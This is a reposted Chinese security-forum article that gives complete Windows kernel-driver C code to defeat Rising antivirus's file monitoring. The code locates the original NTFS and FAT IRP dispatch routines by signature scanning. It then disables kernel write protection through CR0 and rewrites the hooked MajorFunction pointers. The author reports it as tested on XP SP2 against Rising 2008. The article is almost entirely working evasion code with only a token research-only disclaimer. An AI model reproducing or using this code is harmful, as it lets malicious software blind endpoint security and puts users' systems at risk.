首页 网络安全 安全学院 查看内容

对抗瑞星文件监控 恢复fsd

2009-6-24 10:40 828 0

摘要:   前段时间研究主动防御,发现瑞星的文件监控很有意思,是通过hook fsd来实现的,无奈就研究了下恢复fsd  现在把完整代码发出来.  代码:  //得到系统内核模块基址  DWORD Found...
关键词: nbsp oldFsd PMODULES DWORD kernelBase return code address ObjectName DbgPrint

  前段时间研究主动防御,发现瑞星的文件监控很有意思,是通过hook fsd来实现的,无奈就研究了下恢复fsd  现在把完整代码发出来.  代码:  //得到系统内核模块基址  DWORD FoundSystemModule(BOOL bKernel,char *sysFileName)  {  DWORD    dwNeededSize,rc;  PMODULES    pModules=(PMODULES)&pModules;  PCHAR    pKernelName;  DWORD kernelBase;  DWORD i;  rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);  if (rc==STATUS_INFO_LENGTH_MISMATCH)  {  pModules=(MODULES *)ExAllocatePool(PagedPool,dwNeededSize);  rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);  if (!NT_SUCCESS(rc))  {  DbgPrint("ZwQuerySystemInformation failed");  return 0;  }  }  else  {  DbgPrint("ZwQuerySystemInformation failed");  return 0;  }  if(bKernel)  {  pKernelName=pModules->smi[0].ModuleNameOffset+pModules->smi[0].ImageName;  strcpy(sysFileName,pKernelName);  kernelBase=(DWORD)pModules->smi[0].Base;  return kernelBase;  }  for (i=0;(pModules->dwNumberOfModules)>i;i++)  {  pKernelName=pModules->smi[i].ModuleNameOffset+pModules->smi[i].ImageName;  if(stricmp(pKernelName,sysFileName)==0)  {  kernelBase=(DWORD)pModules->smi[i].Base;  return kernelBase;  }  }  return 0;  }  typedef struct _old_fsd  {  DWORD id;  DWORD address;  }old_fsd,*pold_fsd;  old_fsd oldFsd[20];  BYTE fatFalg[3]={0xc7,0x46,0x38};  BYTE ntfsFalg[3]={0xc7,0x46,0x7c};  //搜索fastfat.sys或ntfs.sys中的特征代码,得到原始的fsd,并保存在结构数组中oldFsd中  BOOL GetOldFsd(PUNICODE_STRING fileName,DWORD fileSysBase,BOOL bfalg)  {  char *code;  PVOID lpBase=NULL;  NTSTATUS status;  DWORD i;  HANDLE  hSection, hFile;  DWORD imageBase;  SIZE_T size=0;  IO_STATUS_BLOCK iosb;  OBJECT_ATTRIBUTES oa = {sizeof oa, 0, fileName, OBJ_CASE_INSENSITIVE};  BYTE id;  DWORD dwid;  DWORD address;  int j;  status=ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);  if(!NT_SUCCESS(status))  {  DbgPrint("ZwOpenFile failed\n");  return FALSE;  }  oa.ObjectName = 0;  status=ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);  if(!NT_SUCCESS(status))  {  DbgPrint("ZwCreateSection failed\n");  return FALSE;  }  status=ZwMapViewOfSection(hSection, NtCurrentProcess(), &lpBase, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);  if(!NT_SUCCESS(status))  {  DbgPrint("ZwMapViewOfSection failed\n");  return FALSE;  }  ZwClose(hFile);  imageBase=GetImageBase(lpBase);  if(imageBase==0)  {  DbgPrint("get ImageBase failed\n");  return FALSE;  }  code=(char *)lpBase;  if(bfalg)  {  for(i=0;i<143360;i++)  {  if(memcmp(code,&fatFalg,3)==0)  {  for(j=0;j<20;j++)  {  if(*(WORD*)(code)==0x1c6a)  return TRUE;  if(*(WORD*)(code)==0x86c7)  {  code+=2;  dwid=*(DWORD*)code;  code+=4;  address=*(DWORD*)code;  oldFsd[j].address=address-imageBase+fileSysBase;  oldFsd[j].id=dwid;  oldFsd[j].id=(oldFsd[j].id>>2)-0xE;  code+=4;  continue;  }  code+=2;;  id=*(BYTE*)code;  code++;  address=*(DWORD*)code;  oldFsd[j].address=address-imageBase+fileSysBase;  oldFsd[j].id=(DWORD)id;  oldFsd[j].id=(oldFsd[j].id>>2)-0xE;  code+=4;  }  }  code++;  }  }  else  {  for(i=0;i<574464;i++)  {  if(memcmp(code,&ntfsFalg,3)==0)  {  for(j=0;j<20;j++)  {  if(*(WORD*)(code)==0xb9b8)  return TRUE;  if(*(WORD*)(code)==0x86c7)  {  code+=2;  dwid=*(DWORD*)code;  code+=4;  address=*(DWORD*)code;  oldFsd[j].address=address-imageBase+fileSysBase;  oldFsd[j].id=dwid;  oldFsd[j].id=(oldFsd[j].id>>2)-0xE;  code+=4;  continue;  }  code+=2;;  id=*(BYTE*)code;  code++;  address=*(DWORD*)code;  oldFsd[j].address=address-imageBase+fileSysBase;  oldFsd[j].id=(DWORD)id;  oldFsd[j].id=(oldFsd[j].id>>2)-0xE;  code+=4;  }  }  code++;  }  }  return FALSE;  }  //写入fsd  BOOL SetFsd(PUNICODE_STRING objectName)  {  ULONG i;  NTSTATUS ntStatus;  PDRIVER_OBJECT      DriverObject;  ntStatus = ObReferenceObjectByName(objectName,  OBJ_CASE_INSENSITIVE,  NULL,  0,  *IoDriverObjectType,  KernelMode,  NULL,  &DriverObject);  if (!NT_SUCCESS(ntStatus))  {  DbgPrint("ObReferenceObjectByName failed\n");  return FALSE;  }  for(i=0;i<20&&oldFsd[i].address;i++)  {  if((ULONG)DriverObject->MajorFunction[oldFsd[i].id]!=oldFsd[i].address)  {  _asm  {  CLI  ;  MOV    EAX, CR0  ;  AND EAX, NOT 10000H ;  MOV    CR0, EAX;  }  (ULONG)DriverObject->MajorFunction[oldFsd[i].id]=oldFsd[i].address;  _asm  {  MOV    EAX, CR0;  OR    EAX, 10000H;  MOV    CR0, EAX ;  STI;  }  DbgPrint("IRP_ID:%x\n",oldFsd[i].id);  }  }  return TRUE;  }  //判断系统中有哪些格式的分区,还原fsd  void ResetFsd()  {  DWORD kernelBase;  UNICODE_STRING fileSysName;  UNICODE_STRING objectName;  WCHAR fatObjectString[]=L"\\FileSystem\\FastFat";  WCHAR ntfsObjectString[]=L"\\FileSystem\\Ntfs";  kernelBase=FoundSystemModule(FALSE,"fastfat.sys");  if(kernelBase!=0)  {  RtlInitUnicodeString(&fileSysName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\drivers\\fastfat.sys");  GetOldFsd(&fileSysName,kernelBase,TRUE);  RtlInitUnicodeString(&objectName,fatObjectString);  if(!SetFsd(&objectName))  return;  memset(oldFsd,0,sizeof(oldFsd));  }  kernelBase=FoundSystemModule(FALSE,"ntfs.sys");  if(kernelBase!=0)  {  RtlInitUnicodeString(&fileSysName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\drivers\\ntfs.sys");  GetOldFsd(&fileSysName,kernelBase,FALSE);  RtlInitUnicodeString(&objectName,ntfsObjectString);  if(!SetFsd(&objectName))  return;  memset(oldFsd,0,sizeof(oldFsd));  }  }  只需要调用ResetFsd()函数就可以轻松恢复恢复fsd了,在xp sp2,瑞星2008下测试通过  以上代码只供技术研究,,莫用于非法用途。。。。。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部